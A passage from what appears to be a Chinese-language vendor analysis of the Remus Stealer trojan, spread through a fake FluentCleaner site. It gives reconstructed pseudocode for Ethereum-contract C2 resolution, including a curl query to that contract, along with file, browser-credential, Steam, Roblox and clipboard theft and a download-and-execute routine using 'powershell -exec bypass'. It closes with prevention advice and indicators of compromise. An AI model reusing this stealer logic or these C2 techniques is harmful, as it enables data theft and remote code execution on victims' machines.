rpc_body[i] ^= key;
}
// [5] JSON 响应字段名 (栈立即数) → "result"
BYTE resp_field[7] = { 0x4E, 0x1D, 0xC7, 0x85, 0x40, 0x1C, 0xA4 };
for (int i = 0; i < 7; i++)
resp_field[i] ^= (BYTE)(60 * (i + 1));
| 字段 | 值 | 说明 |
|---|---|---|
| 合约地址 | 0x999941b74F6bbc921D5174A5b29911562cd2D7CF |
RemusStealer C2 解析合约 |
| 函数选择器 | 0xc2fb26a6 |
keccak256 前 4 字节 (查询 C2 地址) |
| RPC 节点 | ethereum-rpc.publicnode.com |
公共以太坊 RPC |
实时查询命令如下:
curl -s -X POST https://ethereum-rpc.publicnode.com \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0x999941b74F6bbc921D5174A5b29911562cd2D7CF","data":"0xc2fb26a6"},"latest"]}'
BuildHwid — hwid 硬件指纹生成
上面 EtherHiding 解析出了 C2 地址(存入 g_szC2Hostname),但服务器如何识别是哪台受害机器在通信?答案就是这个 hwid 硬件指纹——它作为请求体的唯一受害者标识,让 C2 能关联同一机器的多次会话。BuildUserAgent_SystemFingerprint 内联完成计算:对 4 段 SMBIOS 硬件信息做 CRC32,经 SIMD 广播乘法 ×CRC32(额外串)、逐 DWORD 乘加(×K1+K2)混淆,最终 itoa base16 格式化为 32-hex。4 段输入经动态断点逐一确认(制造商/系统型号/UUID 二进制/序列号串):
#define K1 0xA814B126u // 静态还原: 0x15C48CEB ^ 0xBDD03DCD (0x20BAC)
#define K2 0xC516E475u // 静态还原: 0x9911530B ^ 0x5C07B77E (0x20C37)
char *BuildHwid(SMBIOS_Info *smbios) // smbios = r15 指向的系统信息结构
{
DWORD crc[4];
// [2a] 4 段 CRC32, 输入为系统硬件信息字符串
crc[0] = CRC32_Custom(smbios->manufacturer, 0x21A99E56);
crc[1] = CRC32_Custom(smbios->system_model, 0x21A99E56);
crc[2] = CRC32_Inline(smbios->uuid_bytes); // SMBIOS UUID 原始 16 字节
crc[3] = CRC32_Custom(smbios->serial_number_str, 0x21A99E56); // SMBIOS 序列号 ASCII 串
// [2b] SIMD 广播乘法: 4 段 × CRC32(额外串) (0x1FE97-0x1FEC9)
DWORD mul = CRC32_Custom(extra_str, 0x21A99E56);
for (int i = 0; i < 4; i++)
crc[i] *= mul; // pmuludq 等效
// [2c] 逐 DWORD 乘加: crc[i] × K1 + K2 (0x20C05-0x20C5C)
for (int i = 0; i < 4; i++)
crc[i] = crc[i] * K1 + K2;
// [2d] hex 格式化: 4 × itoa base16 → 32-hex (0x20CC8)
static char hwid[33];
char *p = hwid;
for (int i = 0; i < 4; i++)
p += itoa_ToString(crc[i], p, 9, 16); // base=16, 每段 8 hex
return hwid;
}
BuildC2RequestBody — C2 请求体构建
拿到 C2 地址(g_szC2Hostname)和受害者硬件指纹(hwid)后,Payload_Main 拼接请求体发往该地址:tag 硬编码 32-hex 会话标识标识本样本运行、exp Unix 过期时间戳控制请求时效、hwid 硬件指纹标识受害机器,三者构成 89 字节明文表单体,经 application/x-www-form-urlencoded 编码 POST 到 EtherHiding 解析的 C2:
char *BuildC2RequestBody(void)
{
static char body[128];
char *p = body;
p += sprintf(p, "tag=%s", g_szTagFingerprint); // 硬编码 32-hex 会话标识
p += sprintf(p, "&exp=%llu", GetUnixTime()); // URL 过期时间戳
p += sprintf(p, "&hwid=%s", BuildHwid(g_pSmbios)); // 硬件指纹 (本次确认)
return body;
}
C2_CommunicationLoop — C2 通信主循环
通信核心:前三步(解析 C2 地址 → 生成 hwid → 拼接请求体)的成果最终都汇聚到这里——先 EtherHiding 解析出 g_szC2Hostname,成功后循环向该地址发送前面拼接好的 POST 表单请求。每次发送前为路径附加 - 前缀(大包时改为 chunk--)区分请求轮次;发送失败累计 5 次后重新调用 EtherHiding_ResolveC2 拉取新地址(状态字节更新驱动)——由于攻击者可随时轮换链上 C2,重试逻辑让样本自动跟随服务器迁移:
NTSTATUS C2_CommunicationLoop(req_ctx *ctx, void *a2, size_t a3)
{
DWORD retry = 0;
// [4a] EtherHiding: 首次从以太坊智能合约解析 C2 地址
// 失败 → 直接返回 0
if (!EtherHiding_ResolveC2()) // → g_szC2Hostname
return 0;
while (1) {
// [4b] 构建请求路径: <数字>-<hostname>, 大包(≥2MB)时 chunk-<n>-
// Format_Number(a3, buf, 128, 10) → 十进制 + '-' + g_szC2Hostname (宽→窄转换)
if (a2 && a3)
BuildPathPrefix(&ctx, a3, g_szC2Hostname);
// [4c] 发送: POST http://<g_szC2Hostname>
// v46 解密 = "POST", headers/body 由 ctx 传递 (表单编码)
if (WinHTTP_SendRequest(g_szC2Hostname, &v46_POST, &ctx))
{
// 发送成功 → 进入响应处理逻辑 (含重试计数 v48 判断)
...
}
// [4d] 重试计数: 发送失败累计 5 次 → 重新 EtherHiding 解析
if (++retry == 5) {
g_eh_state = rotate_state(g_eh_state); // 状态字节更新
retry = 0;
if (!EtherHiding_ResolveC2()) // 重新解析 C2 地址
return 0;
}
}
}
JSON_ResponseParser — C2 响应 JSON 解析器
通信循环收到 C2 响应后,JSON_ResponseParser 负责把响应正文解析为可查询的 JSON 节点结构。它是手写完整 JSON 解析器(非第三方库),支持对象/数组嵌套、字符串(含 \uXXXX Unicode 转义 → UTF-8)、数字(整数/浮点/指数)、true/false/null 字面量,并带 32 层嵌套深度限制。
int JSON_ResponseParser(char *json, size_t *pPos, __int64 *pResult, void *pAlloc)
{
// [1] 跳过空白 (空格/\\t/\\r/\\n/\\v/\\f)
while (isspace(json[pos])) pos++;
// [2] 按首字符分派
switch (json[pos]) {
case '"': // 字符串: 逐字符扫描, 处理 \\ 转义
// \\" \\\\ \\/ \\b \\f \\n \\r \\t → 对应字符
// \\uXXXX → 16-bit Unicode → UTF-8 (1-3 字节)
return ParseString();
case '{': // 对象: 压栈 v74[++depth]=3, 键/值交替解析
case '[': // 数组: 压栈 v74[++depth]=2
// 深度 >32 → 返回 4
case '}': // 对象闭合: 弹栈, 括号不匹配 → 返回 6
case ']': // 数组闭合
case ':': // 键值分隔符
case ',': // 元素分隔符
case '0'..'9': // 数字: 整数累加 ×10, 遇 '.' 解析小数,
case '-': // 遇 e/E 解析指数 (含 +/- 号, 快速幂)
// 存为 double (IEEE-754 bit pattern → v22)
case 't': // true → 0x7FFA000000000000 (double NaN 编码)
case 'f': // false → 0x7FFA800000000000
case 'n': // null → 0x7FFF800000000000
}
// [3] 节点分配: 栈 v74[160] 数组缓存, 满 4096 字节 → Memory_Alloc 扩展
// 节点结构: [value:QWORD][next:QWORD][key:QWORD] (键/值/链表)
// key/value 挂到当前对象/数组的链表尾
}
JSON 辅助函数 — 解析结果的字段查找与取值
JSON 解析输出的是节点链表,调用方通过三个辅助函数消费:JSON_LookupField 按字段名在链表中查找节点,JSON_GetInt/JSON_GetString 从节点取值。
// JSON_LookupField : 按字段名查找节点, 未找到返回 NULL
JSON_NODE *JSON_LookupField(JSON_OBJ *obj, char *field_name)
{
JSON_NODE *node = obj->root & 0x7FFFFFFFFFFF;
while (node) {
if (String_Compare(node->key, field_name) == 0)
return node; // 命中
node = node->next; // 链表遍历
}
return NULL;
}
// JSON_GetInt : 节点值 → double (type 字段用)
double JSON_GetInt(JSON_NODE *node)
{
return *(double *)node; // 值存 double 位模式
}
// JSON_GetString : 节点值 → 字符串指针 (data/name/extensions 用)
char *JSON_GetString(JSON_NODE *node)
{
return (char *)(node->value & 0x7FFFFFFFFFFF); // 掩去类型标记
}
C2 命令分发 — type 字段驱动
解析并取出 C2 响应字段后,C2Response_Dispatcher 依据 type 字段值分发到不同命令处理分支。type 值经 JSON_GetInt 取出,与混淆还原的校验值比较(type==5 时跳过循环内处理,延迟到循环结束后统一执行):
// JSON 响应 → type/data 字段 → switch 分发
switch (type) { // type = JSON_GetInt(LookupField("type"))
case 0: // 解码执行
// name 字段 → Base64_Decode → C2Cmd_DecodeAndExecute
name = JSON_GetString(JSON_LookupField(root, "name"));
payload = Base64_Decode(name);
C2Cmd_DecodeAndExecute(payload, data);
break;
case 2: // 目录遍历
DirTraverse_ProcessPath(data); // 遍历路径 → 文件窃取
break;
case 3: // 浏览器配置枚举
// 解密 "extensions" (MBA 0x64/0x9B, 密钥索引=jj+1) → JSON 取值 → 浏览器配置枚举
Crypto_Setup_ExtField(field_ext); // 加载密文
for (jj = 0; jj < 11; jj++)
field_ext[jj] ^= MBA(jj, 0x64, 0x9B); // → "extensions"
extensions = JSON_GetString(JSON_LookupField(root, field_ext));
Browser_ProfileEnumerator(data, extensions);
break;
case 4: // 浏览器配置处理
// 解密 "extensions" (imul 0x1F000000 shr24, 密钥索引=kk+1) → JSON 取值 → 浏览器配置处理
Crypto_Setup_ExtField2(field_ext2); // 加载密文
for (kk = 0; kk < 11; kk++)
field_ext2[kk] ^= 31 * kk; // → "extensions"
extensions = JSON_GetString(JSON_LookupField(root, field_ext2));
BrowserConfig_Processor(data, extensions);
break;
case 5: // C2 命令执行 (下载执行 payload)
// 跳过循环内处理, 循环结束后调用 C2Cmd_Processor
break;
}
C2Cmd_DecodeAndExecute — 解码执行/文件窃取命令
C2Cmd_DecodeAndExecute 是 C2 命令 type=0(解码执行)的实际处理函数,由 C2Response_Dispatcher 调用,入参为 Base64 解码后的数据与命令链表。它并非执行 shellcode,而是按 C2 下发的 JSON 规则遍历并窃取指定文件——每个命令节点指定路径/文件名/通配符/深度/链接/大小规则,样本据此遍历目录、筛选文件、打包上传。这是样本的核心数据窃取通道:C2 可下发任意路径/通配符规则,mask(通配符)与 depth(深度)组合可实现"窃取所有 *.docx/*.pdf/*.key 等"的定向数据收集,配合 size 上限避免超大文件:
bool C2Cmd_DecodeAndExecute(char *base_path, JSON_ARRAY *cmd_list)
{
size_t base_len = strlen(base_path); // strlen
for (JSON_NODE *cmd = cmd_list; cmd; cmd = cmd->next) {
// [1] 校验命令有效性: Crypto_HashDerive(cmd->key) == 混淆校验值
WCHAR *key = String_CopyWide(cmd[2]);
DWORD hash = Crypto_HashDerive(key);
if (hash != HASH_CHECK) // 校验失败 → 跳过该命令
continue;
// [2] 解密 C2 下发的 6 个字段名 (全部经混淆还原):
// path/name/mask/depth/link/size
char field_path[5]; field_setup_path(field_path); // → "path"
char field_name[5]; field_setup_name(field_name); // → "name"
char field_mask[5]; field_setup_mask(field_mask); // → "mask"
char field_depth[6]; field_setup_depth(field_depth); // → "depth"
char field_link[5]; field_setup_link(field_link); // → "link"
char field_size[5]; field_setup_size(field_size); // → "size"
// [3] 从 JSON 命令节点取各字段值
// path (字符串) → 拼接窃取路径 <base_path>/<path>
// name (Base64) → Base64_Decode → 文件名
// mask (数组) → 文件通配符列表 (如 *.txt)
// depth (int) → 目录递归深度上限
// link (bool) → 是否跟踪符号链接 (sub_140007BC0 NaN 检查)
// size (int) → 文件大小上限 (超过跳过)
// [4] 构建完整路径: <base>/<path> + <hash>\<name>
char *src_path = Concat(base_path, "/", decoded_name);
WCHAR *dst_path = Concat(hash_key, "\\", name);
// [5] 收集匹配文件列表 (JSONArray)
JSONArray files = CollectMatchingFiles(mask, depth, link, size);
// [6] 上传: MT19937_Seed → ProfileData_UploadViaDirTraverse → HTTP_BuildRequest
MT19937_Seed(rand_ctx, 0);
ProfileData_UploadViaDirTraverse(rand_ctx, src_path, dst_path,
&files, size, depth, link);
HTTP_BuildRequest(rand_ctx); // 上传窃取数据到 C2
// [7] 释放全部缓冲
JSONArray_Free(&files);
Memory_Free(dst_path); Memory_Free(src_path);
}
return success;
}
6 个 C2 下发字段(均为运行时混淆解密还原):
| 字段 | 明文 | 用途 |
|---|---|---|
path |
path |
要窃取的文件路径 |
name |
name |
文件名 |
mask |
mask |
文件通配符(如 *.txt) |
depth |
depth |
目录递归深度限制 |
link |
link |
是否跟踪符号链接 |
size |
size |
文件大小上限 |
DirTraverse_ProcessPath — 目录遍历文件复制命令
DirTraverse_ProcessPath 遍历 C2 下发路径列表,将指定文件复制到临时目录,再以 Base64 解码出的名字重命名,最终打包上传 C2。与 C2Cmd_DecodeAndExecute 的按规则筛选不同,这里按具体文件路径逐个复制——C2 指定任意具体文件路径即可窃取,配合 path 直接指向敏感文件(如浏览器登录态、钱包文件、配置文件),是比通配符筛选更精准的定向窃取手段:
bool DirTraverse_ProcessPath(JSON_OBJ *path_list)
{
MT19937_Seed(rand_ctx, 0); // 初始化随机上下文
for (JSON_NODE *node = path_list; node; node = node->next) {
// [1] 取 "path" 字段 → 源文件路径 (0x140008E1A, key=36*i)
char *src_path = JSON_GetString(JSON_LookupField(node, "path"));
// [2] 若路径不是 "\" 开头: ResolveAPI 解析 → 文件系统访问检查 (0x80000000)
// 失败 → 跳过该路径
if (src_path[0] != L'\\' && !FileSysAccess(src_path))
continue;
// [3] 取 "value" 字段 → 复制文件 (带进度) → 返回文件数据
char *value = JSON_GetString(JSON_LookupField(node, "value"));
FileIO_CopyWithProgress(src_path, value, &file_data, &data_size);
// [4] 取 "name" 字段 → Base64 解码 → 新文件名
char *name = JSON_GetString(JSON_LookupField(node, "name"));
BYTE *decoded = Base64_Decode(name);
// [5] 打包: 文件名 + 文件数据 → 上传 blob
PackToBlob(rand_ctx, decoded, file_data, data_size);
HeapFree(decoded); Memory_Free(file_data);
}
return HTTP_BuildRequest(rand_ctx) & 1; // 上传全部复制的文件到 C2
}
3 个 C2 下发字段(运行时混淆解密还原):
| 字段 | 明文 | 用途 |
|---|---|---|
path |
path |
要复制的源文件路径 |
value |
value |
复制目标/数据处理 |
name |
name |
Base64 编码的新文件名 |
Browser_ProfileEnumerator — 浏览器数据窃取主循环
Browser_ProfileEnumerator在C2 下发浏览器配置(Chrome/Firefox 等)后,样本解析配置 → 生成随机桌面名 → 创建隐藏桌面(反截屏/反监控)→ 遍历所有浏览器 Profile → 按标志窃取历史记录、保存的凭据(密码)、Cookie、LevelDB(扩展/加密钱包)、扩展数据 → 打包上传:
bool Browser_ProfileEnumerator(JSON_OBJ *profile_list, JSON_OBJ *browser_cfg)
{
// [1] 解析浏览器配置 → 配置表 (每项24B: id+name+indb+sync)
cfg_count = count(browser_cfg);
cfg_table = Memory_Alloc(24 * cfg_count);
for (browser in browser_cfg) {
id = JSON_GetString(LookupField(browser, "id")); // → 浏览器标识
name = JSON_GetString(LookupField(browser, "name")); // → Chrome/Firefox
indb = JSON_GetInt(LookupField(browser, "indb")); // → IndexedDB 标志
sync = JSON_GetInt(LookupField(browser, "sync")); // → 同步标志
StoreEntry(cfg_table, id, name, indb, sync);
}
// [2] 生成 16 字符随机桌面名 + 创建隐藏桌面 (反截屏/反监控)
char desktop_name[17];
for (int i = 0; i < 16; i++) {
DWORD r = MT19937_Random(g_pMT19937State);
r %= 36; // base36
if (r < 10) desktop_name[i] = r + '0'; // 0-9
else if (r & 1) desktop_name[i] = (r - 10) + 'a'; // 小写 a-z
else desktop_name[i] = (r - 10) + 'A'; // 大写 A-Z
}
desktop_name[16] = 0;
hDesktop = OpenDesktopW(desktop_name, 0, 1, DESKTOP_ALL_ACCESS); // 0x140009759
if (!hDesktop)
hDesktop = CreateDesktopW(desktop_name, 0, 0, 0, DESKTOP_ALL_ACCESS, NULL);
// [3] 主循环: 遍历每个浏览器 Profile
for (profile in profile_list) {
// 3a. 路径哈希验证: Crypto_HashDerive(path) == 0xC0000023
path = JSON_GetString(LookupField(profile, "path")); // → Profile 数据路径
if (Crypto_HashDerive(path) != HASH_CHECK) continue;
// 3b. Profile 名称 (Base64) + 各数据文件路径标志
name = Base64_Decode(LookupField(profile, "name")); // → Profile 名称
pub = LookupField(profile, "pub"); // → 公共路径
exe = LookupField(profile, "exe"); // → 浏览器 exe 路径
lib = LookupField(profile, "lib"); // → 浏览器 DLL 路径
hist = LookupField(profile, "history"); // → 历史记录
creds = LookupField(profile, "credentials"); // → 保存的凭据(密码)
cook = LookupField(profile, "cookies"); // → Cookie
ldb = LookupField(profile, "ldb"); // → LevelDB (扩展/钱包)
ext = LookupField(profile, "extensions"); // → 扩展目录
// 3c. 构建 56 字节 Profile 窃取结构 profile
PROFILE_BLOCK profile; // 56B: hDesktop/pszName/pszPublic/pszHash/pszExe/pszLib/fHistory/fCred/fCook/fLDB
profile.hDesktop = hDesktop; // 隐藏桌面句柄 (可 NULL)
profile.pszName = name; // Base64 解码的 Profile 名称
profile.pszPublic = pub; // 公共数据目录
profile.pszHash = hash_path; // 哈希路径 (→追加 \Local State)
profile.pszExe = exe; // 浏览器 exe 路径
profile.pszLib = lib; // 浏览器 DLL 路径
profile.fHistory = hist;
profile.fCredentials = creds;
profile.fCookies = cook;
profile.fLDB = ldb;
// 3c2. 解密外泄文件名前缀 (6B, poly-XOR) → String_Concat
char exfil_prefix[7];
ExfilPrefix_Load(exfil_prefix); // 加载 6B 密文
for (int n = 0; n < 6; n++)
exfil_prefix[n] = exfil_prefix[n] + MBA(n) - 2 * (exfil_prefix[n] & MBA(n)); // poly 还原
String_Concat(exfil_prefix);
// 3d. MT19937_Seed(1) → ProfileData_ProcessAndUpload
// 拼接 'Local State' → NT 路径 → 上传
MT19937_Seed(rand_ctx, 1);
ProfileData_ProcessAndUpload(ctx, &profile, cfg_table, cfg_count);
// 3e. Session 标志判断 (v261[2]): 有 session → 解密 'Session' 前缀
if (has_session) {
char session_prefix[8];
for (i = 0; i < 7; i++) session_prefix[i] ^= 13 * i; // → "Session"
String_Concat(session_prefix);
} else {
char empty_prefix[9];
for (i = 0; i < 8; i++) empty_prefix[i] += 70 * i - 2 * (empty_prefix[i] & (70 * i)); // → "Empty..."
String_Concat(empty_prefix);
}
HTTP_BuildRequest(ctx); // 上传该 Profile 全部数据到 C2
}
Desktop_Close(hidden_desktop); // 关闭隐藏桌面
Memory_Free(cfg_table);
return has_upload;
}
BrowserConfig_Processor — 浏览器配置目录遍历上传
BrowserConfig_Processor采用递归目录遍历策略——对 C2 下发 path 指向的特定 Profile 目录,递归遍历该目录下全部文件(不区分文件类型)并上传,确保不遗漏任何数据:
bool BrowserConfig_Processor(JSON_OBJ *profile_list, JSON_OBJ *browser_cfg)
{
// [1] 解析浏览器配置 → 配置表 (16B/项: id+name)
cfg_count = count(browser_cfg);
cfg_table = Memory_Alloc(16 * cfg_count);
for (browser in browser_cfg) {
id = JSON_GetString(LookupField(browser, "id")); // → 浏览器标识
name = JSON_GetString(LookupField(browser, "name")); // → 浏览器名称
StoreEntry16(cfg_table, id, name);
}
// [2] Profile 遍历: 路径哈希验证 (Crypto_HashDerive == 0xC0000023)
for (profile in profile_list) {
path = JSON_GetString(LookupField(profile, "path")); // → Profile 路径
if (Crypto_HashDerive(path) != HASH_CHECK) continue; // 防篡改
name = Base64_Decode(LookupField(profile, "name")); // → Profile 名称
hist = JSON_GetInt(LookupField(profile, "history")); // → History 标志
ext = JSON_GetInt(LookupField(profile, "extensions")); // → 扩展标志
// [3] 构建 profile 结构 (56B)
PROFILE_BLOCK profile = {0};
profile.pszName = name; // Base64 名称
profile.pszHash = hash_path; // 哈希路径 → 目录遍历根
profile.fHistory = hist; // C2 下发
profile.fCredentials = TRUE;
profile.fCookies = TRUE;
// [4] MT19937_Seed(2) → BrowserData_UploadViaDirTraverse
// 递归遍历 Profile 目录 → 逐文件回调上传
MT19937_Seed(rand_ctx, 2);
BrowserData_UploadViaDirTraverse(ctx, &profile, cfg_table, cfg_count);
HTTP_BuildRequest(ctx); // 上传全部收集的浏览器数据到 C2
HeapFree(name); Memory_Free(hash_path);
}
Memory_Free(cfg_table);
return has_upload;
}
C2Cmd_Processor — 命令执行/下载执行
C2Cmd_Processor 遍历命令链表,解密 8 个 JSON 字段(type/mode/path/fn/arg/url/data),经 Base64 解码 URL 后用 WinHTTP 下载,最后由执行引擎 C2Cmd_Executor 按 mode/type 执行。type 决定载荷类型(0=.exe 1=.dll 2=.ps1 3=raw命令),mode 决定执行方式(0=下载执行 1=直接命令行执行):
bool C2Cmd_Processor(JSON_OBJ *cmd_list)
{
for (cmd in cmd_list) {
// [1] 解密 8 个字段名 (全部混淆还原):
// type/mode/path/fn/arg/url/data + "GET"
type = JSON_GetInt(LookupField(cmd, "type")); // → 载荷类型 (0=.exe 1=.dll 2=.ps1)
mode = JSON_GetInt(LookupField(cmd, "mode")); // → 执行方式 (0=下载执行 1=PS命令行 其他=注入)
path = JSON_GetString(LookupField(cmd, "path")); // → 目标路径
fn = JSON_GetString(LookupField(cmd, "fn")); // → 函数名
arg = JSON_GetString(LookupField(cmd, "arg")); // → 参数
url = JSON_GetString(LookupField(cmd, "url")); // → 下载 URL
if (url) {
// [2] url → Base64 解码 → UTF8→UTF16 → WinHTTP GET 下载
payload = Base64_Decode(url);
url_utf16 = UTF8_To_UTF16(payload);
WinHTTP_SendRequest(url_utf16, "GET", &ctx);
} else {
// [3] 无 url → 取 data 字段 (内联载荷)
data = JSON_GetString(LookupField(cmd, "data"));
}
// [4] 执行: C2Cmd_Executor(mode, type, path, fn, arg, url/data, len)
// 实参顺序 = (mode, type, ...) — IDAMCP: mov ecx,ebp(mode) mov edx,ebx(type)
C2Cmd_Executor(mode, type, path, fn, arg, &payload, len);
}
}
执行引擎 C2Cmd_Executor ( mode 决定执行方式 / type 决定载荷类型):
mode=0 从 C2 下载载荷(Base64 解码 → WinHTTP GET → 随机目录名落盘)后执行;mode=1 直接执行 C2 下发的内联载荷。type 决定启动模板:.exe 直接启动、.dll 经 rundll32 加载并调用导出函数、.ps1 经 powershell -exec bypass 运行。统一经 CreateProcessW(动态解析绕 IAT)静默启动,规避 UAC 提权。
// mode: 0=下载执行 1=直接命令行执行; type: 0=.exe 1=.dll 2=.ps1 3=raw命令
switch (mode) {
case 0: // 下载执行: path %VAR%展开 → 随机目录名+扩展名 → NtWriteFile落盘 → 执行
expanded_path = ExpandEnv(path); // Crypto_HashDerive(0x14002C8C0): %VAR%展开
random_dir = MT19937_Random(); // 16字符随机目录名
NtWriteFile(hFile, payload, payload_len); // sub_14002DE20: 9参数syscall写盘(0x8491D19)
// type: 0=CreateProcessW(路径,NULL) 直接启动
// 1=CreateProcessW(NULL, "rundll32 \"<dll>",<fn>,<arg>") 加载DLL调导出函数
// 2=CreateProcessW(NULL, "powershell -exec bypass \"<ps1>\"") + CREATE_NO_WINDOW
break;
case 1: // 直接命令行执行: CmdLine = payload (type=2 加 "powershell -exec bypass " 前缀)
CmdLine = "powershell -exec bypass " + payload;
break;
}
// 统一执行: CreateProcessW (动态解析自 kernel32.dll, 绕IAT)
// lpApplicationName 仅 type=0 用; v46: ps1 场景=0x8000000(CREATE_NO_WINDOW), 其余=0
// 环境变量 "__COMPAT_LAYER=RunAsInvoker" → 规避 UAC 提权
CreateProcessW(lpApplicationName, CmdLine, NULL, NULL, 0,
v46, "__COMPAT_LAYER=RunAsInvoker", NULL, &si, &pi);
数据采集上报 — 循环结束后两批窃取/采集
9 轮 C2 轮询结束、命令分发完成后,C2Response_Dispatcher 在资源清理前执行两批数据采集/窃取:批次 1 采集已安装软件与进程列表、窃取 Roblox Cookie 与 Steam 凭据,批次 2 采集 CPU/主板硬件信息与屏幕位图、窃取剪贴板文本,构成设备指纹 + 凭据窃取组合。每批数据经 HTTP_BuildRequest 以 ChaCha20(MT19937 一次性密钥,尾部附加 40 字节密钥头)加密,按 multipart/form-data POST 至 C2,上传文件名固定为 honey@pot.com.pst。
// 9 轮 C2 轮询结束后,分两批采集/窃取数据 → ChaCha20 加密 → multipart POST 上传
MT19937_Seed(p_batch1, 0); // 生成随机ID → 批次1前缀标识
Fingerprint_Collect_InstalledSW(p_batch1); // 枚举注册表 → 已安装软件列表
Fingerprint_Collect_Processes(p_batch1); // 枚举系统进程 → 进程名列表
Steal_RobloxCookie(p_batch1); // 读 Roblox 本地 Cookie 文件 → 提取并上传
Steal_Steam(p_batch1); // 定位 Steam 安装目录 → 窃取配置凭据文件
HTTP_BuildRequest(p_batch1); // 加密 → multipart 上传批次1
MT19937_Seed(p_batch2, 0); // 生成随机ID → 批次2前缀标识
if (a2 & 1)
Collect_ScreenInfo(p_batch2); // [条件] 采集 CPU/主板硬件信息 + 屏幕位图
Steal_Clipboard(p_batch2); // 读取剪贴板文本 → 窃取上传
HTTP_BuildRequest(p_batch2); // 加密 → multipart 上传批次2
六个采集/窃密函数的功能说明如下:
| 函数 | 功能 | 相关解密字符串 |
|---|---|---|
Fingerprint_Collect_InstalledSW |
枚举注册表软件列表键,逐个读取 DisplayName,收集系统已安装软件清单 | DisplayName |
Fingerprint_Collect_Processes |
查询系统进程信息,枚举全部运行进程名,转 UTF8 后追加 | Processes |
Steal_RobloxCookie |
读取 %LocalAppData%\Roblox\LocalStorage\RobloxCookies.dat,解析 JSON 提取 CookiesData 字段(Roblox 会话凭据)后上传 |
%LocalAppData%\Roblox\LocalStorage\RobloxCookies.dat、CookiesData、Applications/Roblox/Cookies.txt |
Steal_Steam |
先检查 steam.exe 是否运行;否则读注册表 Valve\Steam\InstallPath 定位安装目录,窃取 config\config.vdf(含账号凭据) |
steam.exe、\REGISTRY\MACHINE\SOFTWARE\Valve\Steam、InstallPath、\config\config.vdf |
Collect_ScreenInfo |
采集 CPU/主板硬件信息(型号、核心/线程数)与屏幕显示位图 | motherboard、product、manufacturer、core count、core enabled、thread count、thread enabled |
Steal_Clipboard |
打开剪贴板,读取 UNICODE 文本内容并上传 | Clipboard.txt |
攻击过程可视化(EDR)
瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及相关的域名等情况。

总结
在开源软件蓬勃发展的当下,知名开源Windows清理工具FluentCleaner凭借其简洁高效的清理能力和广泛的用户基础,成为众多用户优化系统的首选。然而,此次仿冒FluentCleaner的恶意攻击事件,让广大用户深刻认识到,在享受开源软件便利的同时,不能对其下载来源与安全性掉以轻心。
攻击者通过仿冒FluentCleaner官方渠道(fluentcleaner.org)投放带毒安装包,以"白加黑"手法将恶意mscoree.dll与正规程序二次打包,巧妙地利用了用户对开源软件的信任,将Remus Stealer窃密木马传播至用户终端。该木马具备多重反检测机制,不仅通过沙箱DLL哈希比对、蜜罐文件与CPUID虚拟机特征检测规避了虚拟机与沙箱分析,还采用SSN直连syscall绕过EDR用户态Hook,并将解密的内嵌窃密木马注入合法进程ServiceModelReg.exe中执行,成功突破了用户的安全防护体系。一旦木马在用户系统中运行,便会经EtherHiding链上C2动态获取控制地址并下发命令,定向窃取浏览器凭据、Cookie、Steam/Roblox账号及C2指定文件,加密回传后给用户带来极大的数据泄露与安全风险。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本

- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
6959d1a00c0dd4a2e6779be2049cfd30 61e1669ed9f2ab2a4b9662a67628b177 -
Domain
fluentcleaner.org fightwa.biz zelpx.garden tzpx.courses -
瑞星病毒名
Trojan.Kryptik/x64!1.143B8